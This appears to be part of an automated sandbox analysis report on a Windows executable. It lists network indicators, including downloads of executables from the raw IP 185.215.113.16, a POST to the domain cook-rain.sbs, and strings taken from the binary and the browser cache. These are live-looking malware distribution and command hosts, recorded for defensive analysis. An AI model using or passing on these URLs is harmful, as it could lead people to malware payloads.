Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe#v
Source: file.exe, 00000000.00000002.2073923204.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeHL
Source: file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2074061559.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1992451424.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microPc
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_110.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1784520782.00000000055CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_110.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_110.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_110.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_110.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_110.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_110.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_102.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1750091624.00000000055EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1750170959.00000000055E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750091624.00000000055EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1750170959.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1750170959.00000000055E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750091624.00000000055EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1750170959.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_102.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1809874800.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1750756703.00000000055A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750664827.00000000055BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_90.6.dr, chromecache_102.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1791203587.00000000056BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
